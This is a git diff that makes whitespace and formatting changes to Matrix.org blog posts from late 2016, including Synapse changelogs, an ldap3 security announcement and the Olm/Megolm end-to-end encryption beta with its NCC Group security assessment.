    • Fix various push bugs (PR #966, #970)
    • -
    • Fix adding emails on registration (PR #968)
    • +
    • Send the correct host header when fetching keys (PR #941)
    • +
    • Fix joining a room that has missing auth events (PR #964)
    • +
    • Fix various push bugs (PR #966, #970)
    • +
    • Fix adding emails on registration (PR #968)
    ### Changes in synapse v0.17.0-rc1 (2016-07-28) @@ -73,45 +73,45 @@ way, see PR #902) -
  • Add deactivate account admin API (PR #903)
  • -
  • Add optional pepper to password hashing (PR #907, #910 by @KentShikama)
  • -
  • Add an admin option to shared secret registration (breaks backwards compat) (PR #909)
  • -
  • Add purge local room history API (PR #911, #923, #924)
  • -
  • Add requestToken endpoints (PR #915)
  • -
  • Add an /account/deactivate endpoint (PR #921)
  • -
  • Add filter param to /messages. Add 'contains_url' to filter. (PR #922)
  • -
  • Add device_id support to /login (PR #929)
  • -
  • Add device_id support to /v2/register flow. (PR #937, #942)
  • -
  • Add GET /devices endpoint (PR #939, #944)
  • -
  • Add GET /device/{'{'}deviceId{'{'} (PR #943)
  • -
  • Add update and delete APIs for devices (PR #949)
  • +
  • Add purge_media_cache admin API (PR #902)
  • +
  • Add deactivate account admin API (PR #903)
  • +
  • Add optional pepper to password hashing (PR #907, #910 by @KentShikama)
  • +
  • Add an admin option to shared secret registration (breaks backwards compat) (PR #909)
  • +
  • Add purge local room history API (PR #911, #923, #924)
  • +
  • Add requestToken endpoints (PR #915)
  • +
  • Add an /account/deactivate endpoint (PR #921)
  • +
  • Add filter param to /messages. Add 'contains_url' to filter. (PR #922)
  • +
  • Add device_id support to /login (PR #929)
  • +
  • Add device_id support to /v2/register flow. (PR #937, #942)
  • +
  • Add GET /devices endpoint (PR #939, #944)
  • +
  • Add GET /device/{'{'}deviceId{'{'} (PR #943)
  • +
  • Add update and delete APIs for devices (PR #949)
  • Changes:
      -
    • Rewrite LDAP Authentication against ldap3 (PR #843 by @mweinelt)
    • -
    • Linearize some federation endpoints based on (origin, room_id) (PR #879)
    • -
    • Remove the legacy v0 content upload API. (PR #888)
    • -
    • Use similar naming we use in email notifs for push (PR #894)
    • -
    • Optionally include password hash in createUser endpoint (PR #905 by @KentShikama)
    • -
    • Use a query that postgresql optimises better for get_events_around (PR #906)
    • -
    • Fall back to 'username' if 'user' is not given for appservice registration. (PR #927 by @Half-Shot)
    • -
    • Add metrics for psutil derived memory usage (PR #936)
    • -
    • Record device_id in client_ips (PR #938)
    • -
    • Send the correct host header when fetching keys (PR #941)
    • -
    • Log the hostname the reCAPTCHA was completed on (PR #946)
    • -
    • Make the device id on e2e key upload optional (PR #956)
    • -
    • Add r0.2.0 to the "supported versions" list (PR #960)
    • -
    • Don't include name of room for invites in push (PR #961)
    • +
    • Rewrite LDAP Authentication against ldap3 (PR #843 by @mweinelt)
    • +
    • Linearize some federation endpoints based on (origin, room_id) (PR #879)
    • +
    • Remove the legacy v0 content upload API. (PR #888)
    • +
    • Use similar naming we use in email notifs for push (PR #894)
    • +
    • Optionally include password hash in createUser endpoint (PR #905 by @KentShikama)
    • +
    • Use a query that postgresql optimises better for get_events_around (PR #906)
    • +
    • Fall back to 'username' if 'user' is not given for appservice registration. (PR #927 by @Half-Shot)
    • +
    • Add metrics for psutil derived memory usage (PR #936)
    • +
    • Record device_id in client_ips (PR #938)
    • +
    • Send the correct host header when fetching keys (PR #941)
    • +
    • Log the hostname the reCAPTCHA was completed on (PR #946)
    • +
    • Make the device id on e2e key upload optional (PR #956)
    • +
    • Add r0.2.0 to the "supported versions" list (PR #960)
    • +
    • Don't include name of room for invites in push (PR #961)
    Bug fixes:
      -
    • Fix substitution failure in mail template (PR #887)
    • -
    • Put most recent 20 messages in email notif (PR #892)
    • -
    • Ensure that the guest user is in the database when upgrading accounts (PR #914)
    • -
    • Fix various edge cases in auth handling (PR #919)
    • -
    • Fix 500 ISE when sending alias event without a state_key (PR #925)
    • -
    • Fix bug where we stored rejections in the state_group, persist all rejections (PR #948)
    • -
    • Fix lack of check of if the user is banned when handling 3pid invites (PR #952)
    • -
    • Fix a couple of bugs in the transaction and keyring code (PR #954, #955)
    • +
    • Fix substitution failure in mail template (PR #887)
    • +
    • Put most recent 20 messages in email notif (PR #892)
    • +
    • Ensure that the guest user is in the database when upgrading accounts (PR #914)
    • +
    • Fix various edge cases in auth handling (PR #919)
    • +
    • Fix 500 ISE when sending alias event without a state_key (PR #925)
    • +
    • Fix bug where we stored rejections in the state_group, persist all rejections (PR #948)
    • +
    • Fix lack of check of if the user is banned when handling 3pid invites (PR #952)
    • +
    • Fix a couple of bugs in the transaction and keyring code (PR #954, #955)
    diff --git a/content/blog/2016/10/2016-10-20-tadhack-global-2016.md b/content/blog/2016/10/2016-10-20-tadhack-global-2016.md index 214240721..f0d52059d 100644 --- a/content/blog/2016/10/2016-10-20-tadhack-global-2016.md +++ b/content/blog/2016/10/2016-10-20-tadhack-global-2016.md @@ -8,12 +8,11 @@ category = ["General"] +++ tadhack-2016-global-3-300x244 -TADHack Global 2016 was held across 30+ different locations last weekend. The goal in the TADHack is to create a hack over the weekend, using one or more of the APIs provided by the sponsors - of which Matrix is one. +TADHack Global 2016 was held across 30+ different locations last weekend. The goal in the TADHack is to create a hack over the weekend, using one or more of the APIs provided by the sponsors - of which Matrix is one. Over 2600 people participated, and over 150 hacks were created! I think it's safe to say that TADHack Global 2016 was a great success! -The Matrix team were on location in Shoreditch, London, where we helped people with their hacks (while also keeping an eye on the online TADHack Matrix room to help remote entries). - +The Matrix team were on location in Shoreditch, London, where we helped people with their hacks (while also keeping an eye on the online TADHack Matrix room to help remote entries). Several teams used Matrix in their hack, both in London and elsewhere: diff --git a/content/blog/2016/11/2016-11-08-synapse-debian-package-security-announcement.md b/content/blog/2016/11/2016-11-08-synapse-debian-package-security-announcement.md index bc6b31618..3ea298add 100644 --- a/content/blog/2016/11/2016-11-08-synapse-debian-package-security-announcement.md +++ b/content/blog/2016/11/2016-11-08-synapse-debian-package-security-announcement.md @@ -13,7 +13,7 @@ Currently, this is only known to affect the debian packages of synapse. Synapse installed using pip should not be affected, as pip will have bundled a newer version of the ldap3 module. -### UPDATE: Synapse v0.18.3 released. +### UPDATE: Synapse v0.18.3 released This issue only affects OS (not virtualenv) installations using v0.9.x of the ldap3 python package (e.g. Debian Stable (Jessie)).  Synapse itself specifies a dependency on >v1.0 of ldap3, but as the dependency is optional there is a risk that a stale operating system dependency will be pulled in instead.  To be safe, 0.18.3 of Synapse has just been released to fix the underlying problem for anyone using the older ldap3 package, regardless of their OS. https://github.com/matrix-org/synapse/releases/tag/v0.18.3 has the details. diff --git a/content/blog/2016/11/2016-11-12-the-matrix-autumn-special.md b/content/blog/2016/11/2016-11-12-the-matrix-autumn-special.md index 63ef7860e..54735f058 100644 --- a/content/blog/2016/11/2016-11-12-the-matrix-autumn-special.md +++ b/content/blog/2016/11/2016-11-12-the-matrix-autumn-special.md @@ -17,11 +17,11 @@ You can tell when it's finished based on whether it's stopped logging about the Other big changes in Synapse 0.18 were:
      -
    • Adding the final APIs required to support end-to-end encryption: specifically, a new store-and-forward API called "to device messaging", which lets messages be passed between specific devices outside the context of a room or a room DAG. This is used for exchanging authentication tokens and sensitive end-to-end key data between devices (e.g. when a new device joins a room and needs to be looped in) and is not intended for general messaging.
    • -
    • Changing how remote directory servers are queried. Rather than constantly spidering them via the secondary_directory_servers option (which was causing a load crisis on the matrix.org server, as everyone else in Matrix kept polling it for directory updates), clients can now set a 'server' parameter on the publicRooms request to ask their server to proxy the request through to a specific remote server. Element (the app formally known as Riot/Web) implements this already. This is a stopgap until we have a proper global room discovery database of some kind.
    • -
    • Adding pagination support to the room directory API. We now have enough rooms in Matrix that downloading the full list every time the user searches for a room was getting completely untenable - we now support paginating and searching the list. Riot (now Element) and Riot-Android (now Element Android) are using the new APIs already.
    • -
    • Basic support for 'direct room' semantics. When you create a room you can now state the intent for that room to be a 1:1 with someone via the is_direct parameter.
    • -
    • Making the /notifications API work - this lets clients download a full list of all the notifications a user has been recently sent (highlights, mentions etc)
    • +
    • Adding the final APIs required to support end-to-end encryption: specifically, a new store-and-forward API called "to device messaging", which lets messages be passed between specific devices outside the context of a room or a room DAG. This is used for exchanging authentication tokens and sensitive end-to-end key data between devices (e.g. when a new device joins a room and needs to be looped in) and is not intended for general messaging.
    • +
    • Changing how remote directory servers are queried. Rather than constantly spidering them via the secondary_directory_servers option (which was causing a load crisis on the matrix.org server, as everyone else in Matrix kept polling it for directory updates), clients can now set a 'server' parameter on the publicRooms request to ask their server to proxy the request through to a specific remote server. Element (the app formally known as Riot/Web) implements this already. This is a stopgap until we have a proper global room discovery database of some kind.
    • +
    • Adding pagination support to the room directory API. We now have enough rooms in Matrix that downloading the full list every time the user searches for a room was getting completely untenable - we now support paginating and searching the list. Riot (now Element) and Riot-Android (now Element Android) are using the new APIs already.
    • +
    • Basic support for 'direct room' semantics. When you create a room you can now state the intent for that room to be a 1:1 with someone via the is_direct parameter.
    • +
    • Making the /notifications API work - this lets clients download a full list of all the notifications a user has been recently sent (highlights, mentions etc)
    Spec for all of these new APIs are currently making their way into the official matrix spec; you can see the work in progress at https://matrix.org/speculator. Meanwhile, we're waiting for the last bits of the end-to-end encryption APIs to land there before releasing 0.3 of the Matrix spec, which should happen any day now. @@ -41,25 +41,25 @@ Meanwhile, the biggest news in Matrixland has probably been the renaming of Vect Riot (now Element) itself is a fairly thin layer on top of the official client Matrix SDKs, and so 95% of the work for Riot (now Element) took the form of updates to matrix-js-sdk, matrix-react-sdk, matrix-ios-sdk, matrix-ios-kit, matrix-android-sdk and synapse itself. There's been a tonne of changes here since June, but the main highlights are:
      -
    • End-to-end encryption support landed in matrix-js-sdk and matrix-react-sdk (and thus Riot/Web (now Element)) and in dev on matrix-ios-sdk and matrix-android-sdk using the Olm and Megolm ratchets. More about this later.
    • -
    • Hosted integrations, bots and bridges! More about this later too.
    • -
    • Direct Message UI landed in Riot/Web (now Element) to tag rooms which exist for contacting a specific user. These get grouped now as the 'People' list in Riot (now Element). It's in dev on Riot/iOS (now Element (iOS)) & Android (now Element Android).
    • -
    • Entirely new UI for starting conversations with people - no more creating a room and then inviting; you just say "i want to talk with Bob".
    • -
    • Entirely new UI for inviting people into a room - no more confusion between searching the membership list and inviting users.
    • -
    • FilePanel UI in Riot/Web (now Element) to instantly view all the attachments posted in a room
    • -
    • NotificationPanel UI in Riot/Web (now Element) to instantly view all your missed notifications and mentions in a single place
    • -
    • "Volume control" UI to have finer grained control over per-room notification noisiness
    • -
    • Entirely re-worked Room Directory navigator - lazy-loading the directory from the server, and selecting rooms via bridge and remote server
    • -
    • It's very exciting to see a wider audience discovering Matrix through Riot (now Element) - and Riot (now Element)'s usage stats have been growing steadily since launch, but there's still a lot of room for improvement.
    • +
    • End-to-end encryption support landed in matrix-js-sdk and matrix-react-sdk (and thus Riot/Web (now Element)) and in dev on matrix-ios-sdk and matrix-android-sdk using the Olm and Megolm ratchets. More about this later.
    • +
    • Hosted integrations, bots and bridges! More about this later too.
    • +
    • Direct Message UI landed in Riot/Web (now Element) to tag rooms which exist for contacting a specific user. These get grouped now as the 'People' list in Riot (now Element). It's in dev on Riot/iOS (now Element (iOS)) & Android (now Element Android).
    • +
    • Entirely new UI for starting conversations with people - no more creating a room and then inviting; you just say "i want to talk with Bob".
    • +
    • Entirely new UI for inviting people into a room - no more confusion between searching the membership list and inviting users.
    • +
    • FilePanel UI in Riot/Web (now Element) to instantly view all the attachments posted in a room
    • +
    • NotificationPanel UI in Riot/Web (now Element) to instantly view all your missed notifications and mentions in a single place
    • +
    • "Volume control" UI to have finer grained control over per-room notification noisiness
    • +
    • Entirely re-worked Room Directory navigator - lazy-loading the directory from the server, and selecting rooms via bridge and remote server
    • +
    • It's very exciting to see a wider audience discovering Matrix through Riot (now Element) - and Riot (now Element)'s usage stats have been growing steadily since launch, but there's still a lot of room for improvement.
    Stuff on the horizon includes:
      -
    • Formal beta-testing the full end-to-end encryption feature-set.
    • -
    • Performance and optimisation work on all platforms - there are huge improvements to be had.
    • -
    • Long-awaited poweruser features: 'dark' colour scheme; more whitespace-efficient layout; collapsing consecutive joins/parts...
    • -
    • "Landing page" to help explain what's going on to new users and to show deployment-specific announcements and room lists.
    • -
    • Support for arbitrary profile information.
    • -
    • Threading.
    • +
    • Formal beta-testing the full end-to-end encryption feature-set.
    • +
    • Performance and optimisation work on all platforms - there are huge improvements to be had.
    • +
    • Long-awaited poweruser features: 'dark' colour scheme; more whitespace-efficient layout; collapsing consecutive joins/parts...
    • +
    • "Landing page" to help explain what's going on to new users and to show deployment-specific announcements and room lists.
    • +
    • Support for arbitrary profile information.
    • +
    • Threading.
    Riot (now Element) releases are announced on #riot:matrix.org, the Riot blog and Twitter - keep your eyes peeled for updates! @@ -95,23 +95,23 @@ You can read the full changelogs for 0.5.0 and 0.6.0 at -
  • Support rate-limiting membership entries to avoid triggering abuse thresholds
  • -
  • Require permission of an IRC chanop when plumbing an IRC channel into a Matrix room
  • -
  • Prevent routing loops by advisory m.room.bridging events
  • -
  • Better error messages
  • -
  • Sync chanmode +s correctly
  • -
  • Fix IPv6 support
  • +
  • Support throttling reconnections to IRC servers to avoid triggering abuse thresholds
  • +
  • Support "Third party lookup": mapping from IRC users & rooms into Matrix IDs for discovery purposes
  • +
  • Support rate-limiting membership entries to avoid triggering abuse thresholds
  • +
  • Require permission of an IRC chanop when plumbing an IRC channel into a Matrix room
  • +
  • Prevent routing loops by advisory m.room.bridging events
  • +
  • Better error messages
  • +
  • Sync chanmode +s correctly
  • +
  • Fix IPv6 support
  • Next up is automating NickServ login, and generally continuing to make the IRC experience as good as we possibly can. @@ -119,10 +119,10 @@ Next up is automating NickServ login, and generally continuing to make the IRC e Similarly, the Slack bridge has had loads of work. The main changes include:
      -
    • Ability to dynamically bridge ("plumb") rooms on request
    • -
    • Add Prometheus monitoring metrics
    • -
    • Ability to discover slack team tokens via OAuth2
    • -
    • Sync avatars both ways
    • +
    • Ability to dynamically bridge ("plumb") rooms on request
    • +
    • Add Prometheus monitoring metrics
    • +
    • Ability to discover slack team tokens via OAuth2
    • +
    • Sync avatars both ways
    We're currently looking at shifting over to Slack's RTM (Real Time Messaging) API rather than using webhooks in order to get an even better fit with Slack and support bridging DMs, but the current setup is still very usable. For more details:
    https://github.com/matrix-org/matrix-appservice-slack. @@ -233,15 +233,15 @@ The same weekend also featured TADHack Global - we were present at the London si Meanwhile, coming up on the horizon we have TADSummit in Lisbon next week, where we'll be giving an update on Matrix to the global Telco Application Developer community, and then the week after we'll be in Israel as part of the Geektime Techfest, Devfest and Chatbot Summit. So if you're in Lisbon or Tel Aviv do give us a ping on Matrix and come hang out! -### Matrixing for fun and profit! +### Matrixing for fun and profit If you've read this far, we're guessing you're hopefully quite interested in Matrix (or just skipping to the end ;).  Something we don't talk about as much as we should is that if you're interested in being paid to work on Matrix full time, we're always interested in expanding the core team.  Right now we're particularly looking for:
      -
    • Experienced front-end developers who can help build the next generation of matrix-react-sdk and vector-web
    • -
    • Professional tech-writers to help keep The Spec and tutorials and other docs updated and as kick-ass as possible
    • -
    • Backend Python/Twisted or Golang wizards to help us improve and evolve Synapse
    • -
    • Mobile developers (especially Android) to help keep the mobile SDKs and apps evolving as quickly as possible
    • -
    • Integration fiends who'd like to be paid to build more bridges, bots and other integrations for the overall ecosystem!
    • +
    • Experienced front-end developers who can help build the next generation of matrix-react-sdk and vector-web
    • +
    • Professional tech-writers to help keep The Spec and tutorials and other docs updated and as kick-ass as possible
    • +
    • Backend Python/Twisted or Golang wizards to help us improve and evolve Synapse
    • +
    • Mobile developers (especially Android) to help keep the mobile SDKs and apps evolving as quickly as possible
    • +
    • Integration fiends who'd like to be paid to build more bridges, bots and other integrations for the overall ecosystem!
    Most of the core team hangs out in London or Rennes (France), but we're also open to remote folks where it makes sense.  If this sounds interesting, please shoot us a mail to jobs@matrix.org.  Obviously it helps enormously if we already know you from the Matrix community, and you have a proven FOSS track record. @@ -255,19 +255,19 @@ As you can see, things are accelerating quite nicely - and this is ignoring all Our plans over the next few months are going to involve:
      -
    • Turning on end-to-end encryption by default for any rooms with private history - whilst ensuring it's as easy to write Matrix clients, bots and bridges as it ever was.
    • -
    • Yet more scalability and performance work across the board, to ensure Synapse and the client SDKs can handle the growth curve we're seeing here
    • -
    • Releasing 0.3.0 of the matrix spec itself.
    • -
    • Making Riot (now Element)'s UX excellent.
    • -
    • Editable messages.
    • -
    • Threading.
    • -
    • User groups, for applying permissions/invites etc to groups of users as well as individuals.
    • -
    • Formalising the federation spec at last
    • -
    • As many bots, bridges and other integrations as possible!
    • -
    • Making VoIP/Video conferencing and calling awesome.
    • -
    • More experiments with next-generation homeservers
    • -
    • Starting to really think hard about decentralised identity and reputation/spam management
    • -
    • ...and a few new things we don't want to talk about yet ;)
    • +
    • Turning on end-to-end encryption by default for any rooms with private history - whilst ensuring it's as easy to write Matrix clients, bots and bridges as it ever was.
    • +
    • Yet more scalability and performance work across the board, to ensure Synapse and the client SDKs can handle the growth curve we're seeing here
    • +
    • Releasing 0.3.0 of the matrix spec itself.
    • +
    • Making Riot (now Element)'s UX excellent.
    • +
    • Editable messages.
    • +
    • Threading.
    • +
    • User groups, for applying permissions/invites etc to groups of users as well as individuals.
    • +
    • Formalising the federation spec at last
    • +
    • As many bots, bridges and other integrations as possible!
    • +
    • Making VoIP/Video conferencing and calling awesome.
    • +
    • More experiments with next-generation homeservers
    • +
    • Starting to really think hard about decentralised identity and reputation/spam management
    • +
    • ...and a few new things we don't want to talk about yet ;)
    If you've got this far - congratulations! Thanks for reading, and thank you for supporting the Matrix ecosystem. diff --git a/content/blog/2016/11/2016-11-21-matrix-s-olm-end-to-end-encryption-security-assessment-released-and-implemented-cross-platform-on-riot-at-last.md b/content/blog/2016/11/2016-11-21-matrix-s-olm-end-to-end-encryption-security-assessment-released-and-implemented-cross-platform-on-riot-at-last.md index 501cdef34..9584d27f7 100644 --- a/content/blog/2016/11/2016-11-21-matrix-s-olm-end-to-end-encryption-security-assessment-released-and-implemented-cross-platform-on-riot-at-last.md +++ b/content/blog/2016/11/2016-11-21-matrix-s-olm-end-to-end-encryption-security-assessment-released-and-implemented-cross-platform-on-riot-at-last.md @@ -10,112 +10,93 @@ category = ["General"] TL;DR: We're officially starting the cross-platform beta of end-to-end encryption in Matrix today, with matrix-js-sdk, matrix-android-sdk and matrix-ios-sdk all supporting e2e via the Olm and Megolm cryptographic ratchets.  Meanwhile, NCC Group have publicly released their security assessment of the underlying libolm library, kindly funded by the Open Technology Fund, giving a full and independent transparent report on where the core implementation is at. The assessment was incredibly useful, finding some interesting issues, which have all been solved either in libolm itself or at the Matrix client SDK level. - If you want to get experimenting with E2E, the flagship Matrix client Riot has been updated to use the new SDK on Web, Android and iOS… although the iOS App is currently stuck in “export compliance” review at Apple. However, iOS users can mail support@riot.im to request being added to the TestFlight beta to help us test!  Update: iOS is now live and approved by Apple (as of Thursday Nov 24.  You can still mail us if you want to get beta builds though!) - We are ridiculously excited about adding an open decentralised e2e-encrypted pubsub data fabric to the internet, and we hope you are too! :D - --- Ever since the beginning of the Matrix we've been promising end-to-end (E2E) encryption, which is rather vital given conversations in Matrix are replicated over every server participating in a room.  This is no different to SMTP and IMAP, where emails are typically stored unencrypted in the IMAP spools of all the participating mail servers, but we can and should do much better with Matrix: there is no reason to have to trust all the participating servers not to snoop on your conversations.  Meanwhile, the internet is screaming out for an open decentralised e2e-encrypted pubsub data store - which we're now finally able to provide :) - -Today marks the start of a formal public beta for our Megolm and Olm-based end-to-end encryption across Web, Android and iOS. New builds of the Riot matrix client have just been released on top of the newly +Today marks the start of a formal public beta for our Megolm and Olm-based end-to-end encryption across Web, Android and iOS. New builds of the Riot matrix client have just been released on top of the newly Megolm -capable matrix-js-sdk, matrix-ios-sdk and matrix-android-sdk libraries .  The stuff that ships today is:
      -
    • E2E encryption, based on the Olm Double Ratchet and Megolm ratchet, working in beta on all three platforms.  We're still chasing a few nasty bugs which can cause ‘unknown inbound session IDs', but in general it should be stable: please report these via Github if you see them. +
    • E2E encryption, based on the Olm Double Ratchet and Megolm ratchet, working in beta on all three platforms.  We're still chasing a few nasty bugs which can cause ‘unknown inbound session IDs', but in general it should be stable: please report these via Github if you see them.
    • -
    • Encrypted attachments are here! (limited to ~2MB on web, but as soon as https://github.com/matrix-org/matrix-react-sdk/pull/562 lands this limit will go away) +
    • Encrypted attachments are here! (limited to ~2MB on web, but as soon as https://github.com/matrix-org/matrix-react-sdk/pull/562 lands this limit will go away)
    • -
    • Encrypted VoIP signalling (and indeed any arbitrary Matrix events) are here! +
    • Encrypted VoIP signalling (and indeed any arbitrary Matrix events) are here!
    • -
    • Tracking whether the messages you receive are from ‘verified' devices or not. +
    • Tracking whether the messages you receive are from ‘verified' devices or not.
    • -
    • Letting you block specific target devices from being able to decrypt your messages or not. +
    • Letting you block specific target devices from being able to decrypt your messages or not.
    • -
    • The Official Implementor's Guide.  If you're a developer wanting to add Olm into your Matrix client/bot/bridge etc, this is the place to start. +
    • The Official Implementor's Guide.  If you're a developer wanting to add Olm into your Matrix client/bot/bridge etc, this is the place to start.
    Stuff which remains includes:
      -
    • Speeding up sending the first message after adds/removes a device from a room (this can be very slow currently - e.g. 10s, but we can absolutely do better). +
    • Speeding up sending the first message after adds/removes a device from a room (this can be very slow currently - e.g. 10s, but we can absolutely do better).
    • -
    • Proper device verification.  Currently we compare out-of-band device fingerprints, which is a terrible UX.  Lots of work to be done here. +
    • Proper device verification.  Currently we compare out-of-band device fingerprints, which is a terrible UX.  Lots of work to be done here.
    • -
    • Turning on encryption for private rooms by default.  We're deliberately keeping E2E opt-in for now during beta given there is a small risk of undecryptable messages, and we don't want to lull folks into a false sense of security.  As soon as we're out of beta, we'll obviously be turning on E2E for any room with private history by default.  This also gives the rest of the Matrix ecosystem a chance to catch up, as we obviously don't want to lock out all the clients which aren't built on matrix-{'{'}js,ios,android{'}'}-sdk. +
    • Turning on encryption for private rooms by default.  We're deliberately keeping E2E opt-in for now during beta given there is a small risk of undecryptable messages, and we don't want to lull folks into a false sense of security.  As soon as we're out of beta, we'll obviously be turning on E2E for any room with private history by default.  This also gives the rest of the Matrix ecosystem a chance to catch up, as we obviously don't want to lock out all the clients which aren't built on matrix-{'{'}js,ios,android{'}'}-sdk.
    • -
    • We're also considering building a simple Matrix proxy to aid migration that you can run on localhost that E2Es your traffic as required (so desktop clients like WeeChat, NaChat, Quaternion etc would just connect to the proxy on localhost via pre-E2E Matrix, which would then manage all your keys & sessions & ratchets and talk E2E through to your actual homeserver. +
    • We're also considering building a simple Matrix proxy to aid migration that you can run on localhost that E2Es your traffic as required (so desktop clients like WeeChat, NaChat, Quaternion etc would just connect to the proxy on localhost via pre-E2E Matrix, which would then manage all your keys & sessions & ratchets and talk E2E through to your actual homeserver.
    • -
    • Matrix clients which can't speak E2E won't show encrypted messages at all. +
    • Matrix clients which can't speak E2E won't show encrypted messages at all.
    • -
    • ...lots and lots of bugs :D +
    • ...lots and lots of bugs :D .  We'll be out of beta once these are all closed up.
    In practice the system is working very usably, especially for 1:1 chats.  Big group chats with lots of joining/parting devices are a bit more prone to weirdness, as are edge cases like running multiple Riot/Webs in adjacent tabs on the same account.  Obviously we don't recommend using the E2E for anything mission critical requiring 100% guaranteed privacy whilst we're still in beta, but we do thoroughly recommend everyone to give it a try and file bugs! - In Riot you can turn it on a per-room basis if you're an administrator that room by flipping the little padlock button in Room Settings.  Warning: once enabled, you cannot turn it off again for that room (to avoid the race condition of people suddenly decrypting a room before someone says something sensitive): - screen-shot-2016-11-21-at-15-21-15 The journey to end-to-end encryption has been a bit convoluted, with work beginning in Feb 2015 by the Matrix team on Olm: an independent Apache-licensed implementation in C/C++11 of the Double Ratchet algorithm designed by Trevor Perrin and Moxie Marlinspike ( https://github.com/trevp/double_ratchet/wiki - then called ‘axolotl').  We picked the Double Ratchet in its capacity as the most ubiquitous, respected and widely studied e2e algorithm out there - mainly thanks to Open Whisper Systems implementing it in Signal, and subsequently licensing it to Facebook for WhatsApp and Messenger, Google for Allo, etc.  And we reasoned that if we are ever to link huge networks like WhatsApp into Matrix whilst preserving end-to-end encrypted semantics, we'd better be using at least roughly the same technology :D - One of the first things we did was to write a terse but formal spec for the Olm implementation of the Double Ratchet, fleshing out the original sketch from Trevor & Moxie, especially as at the time there wasn't a formal spec from Open Whisper Systems (until yesterday! Congratulations to Trevor & co for publishing their super-comprehensive spec :).  We wrote a first cut of the ratchet over the course of a few weeks, which looked pretty promising but then the team got pulled into improving Synapse performance and features as our traffic started to accelerate faster than we could have possibly hoped.  We then got back to it again in June-Aug 2015 and basically finished it off and added a basic implementation to matrix-react-sdk (and picked up by Vector, now Riot)… before getting side-tracked again.  After all, there wasn't any point in adding e2e to clients if the rest of the stack is on fire! - Work resumed again in May 2016 and has continued ever since - starting with the addition of a new ratchet to the mix.  The Double Ratchet (Olm) is great at encrypting conversations between pairs of devices, but it starts to get a bit unwieldy when you use it for a group conversation - especially the huge ones we have in Matrix.  Either each sender needs to encrypt each message N times for every device in the room (which doesn't scale), or you need some other mechanism. - For Matrix we also require the ability to explicitly decide how much conversation history may be shared with new devices.  In classic Double Ratchet implementations this is anathema: the very act of synchronising history to a new device is a huge potential privacy breach - as it's deliberately breaking perfect forward secrecy.  Who's to say that the device you're syncing your history onto is not an attacker?  However, in practice, this is a very common use case.  If a Matrix user switches to a new app or device, it's often very desirable that they can decrypt old conversation history on the new device.  So, we make it configurable per room.  (In today's implementation the ability to share history to new devices is still disabled, but it's coming shortly). - The end result is an entirely new ratchet that we've called Megolm - which is included in the same libolm library as Olm.  The way Megolm works is to give every sender in the room its own encrypted ratchet (‘outbound session'), so every device encrypts each message once based on the current key given by their ratchet (and then advances the ratchet to generate a new key).  Meanwhile, the device shares the state of their ‘outbound session' to every other device in the room via the normal Olm ratchet in a 1:1 exchange between the devices.  The other devices maintain an ‘inbound session' for each of the devices they know about, and so can decrypt their messages.  Meanwhile, when new devices join a room, senders can share their sessions according to taste to the new device - either giving access to old history or not depending on the configuration of the room.  You can read more in the formal spec for Megolm. - We finished the combination of Olm and Megolm back in September 2016, and shipped the very first implementation in the matrix-js-sdk and matrix-react-sdk as used in Riot with some major limitations (no encrypted attachments; no encrypted VoIP signalling; no history sharing to new devices). - Meanwhile, we were incredibly lucky to receive a public security assessment of the Olm & Megolm implementation in libolm from NCC Group Cryptography Services - famous for assessing the likes of Signal, Tor, OpenSSL, etc and other Double Ratchet implementations. The assessment was very generously funded by the Open Technology Fund (who specialise in paying for security audits for open source projects like Matrix).  Unlike other Double Ratchet audits (e.g. Signal), we also insisted that the end report was publicly released for complete transparency and to show the whole world the status of the implementation. - NCC Group have released the public report today - it's pretty hardcore, but if you're into the details please go check it out.  The version of libolm assessed was v1.3.0, and the report found 1 high risk issue, 1 medium risk, 6 low risk and 1 informational issues - of which 3 were in Olm and 6 in Megolm.  Two of these (‘Lack of Backward Secrecy in Group Chats' and ‘Weak Forward Secrecy in Group Chats') are actually features of the library which power the ‘configurable privacy per-room' behaviour mentioned a few paragraphs above - and it's up to the application (e.g. matrix-js-sdk) to correctly configure privacy-sensitive rooms with the appropriate level of backward or forward secrecy; the library doesn't enforce it however.  The most interesting findings were probably the fairly exotic Unknown Key Share attacks in both Megolm and Olm - check out NCC-Olm2016-009 and NCC-Olm2016-010 in the report for gory details! - Needless to say all of these issues have been solved with the release of libolm 2.0.0 on October 25th and included in today's releases of the client SDKs and Riot.  Most of the issues have been solved at the application layer (i.e. matrix-js-sdk, ios-sdk and android-sdk) rather than in libolm itself.  Given the assessment was specifically for libolm, this means that technically the risks still exist at libolm, but given the correct engineering choice was to fix them in the application layer we went and did it there. (This is explains why the report says that some of the issues are ‘not fixed' in libolm itself). - Huge thanks to Alex Balducci and Jake Meredith at NCC Group for all their work on the assessment - it was loads of fun to be working with them (over Matrix, of course) and we're really happy that they caught some nasty edge cases which otherwise we'd have missed.  And thanks again to Dan Meredith and Chad Hurley at OTF for funding it and making it possible! - Implementing decentralised E2E has been by far the hardest thing we've done yet in Matrix, ending up involving most of the core team.  Huge kudos go to: Mark Haines for writing the original Olm and matrix-js-sdk implementation and devising Megolm, designing attachment encryption and implementing it in matrix-{'{'}js,react{'}'}-sdk, Richard van der Hoff for taking over this year with implementing and speccing Megolm, finalising libolm, adding all the remaining server APIs (device management and to_device management for 1:1 device Olm sessions), writing the Implementor's Guide, handling the NCC assessment, and pulling together all the strands to land the final implementation in matrix-js-sdk and matrix-react-sdk.  Meanwhile on Mobile, iOS & Android wouldn't have happened without Emmanuel Rohée, who led the development of E2E in matrix-ios-sdk and OLMKit (the iOS wrappers for libolm based on the original work by Chris Ballinger at ChatSecure - many thanks to Chris for starting the ball rolling there!), Pedro Contreiras and Yannick Le Collen for doing all the Android work, Guillaume Foret for all the application layer iOS work and helping coordinate all the mobile work, and Dave Baker who got pulled in at the last minute to rush through encrypted attachments on iOS (thanks Dave!).  Finally, eternal thanks to everyone in the wider community who's patiently helped us test the E2E whilst it's been in development in #megolm:matrix.org; and to Moxie, Trevor and Open Whisper Systems for inventing the Double Ratchet and for allowing us to write our own implementation in Olm. - It's literally the beginning for end-to-end encryption in Matrix, and we're unspeakably excited to see where it goes.  More now than ever before the world needs an open communication platform that combines the freedom of decentralisation with strong privacy guarantees, and we hope this is a major step in the right direction. - -- Matthew, Amandine & the whole Matrix team. - Further reading: diff --git a/content/blog/2016/11/2016-11-22-synapse-0-18-4.md b/content/blog/2016/11/2016-11-22-synapse-0-18-4.md index ceddde1d0..07bae5535 100644 --- a/content/blog/2016/11/2016-11-22-synapse-0-18-4.md +++ b/content/blog/2016/11/2016-11-22-synapse-0-18-4.md @@ -17,21 +17,21 @@ Please install or upgrade from  Bug 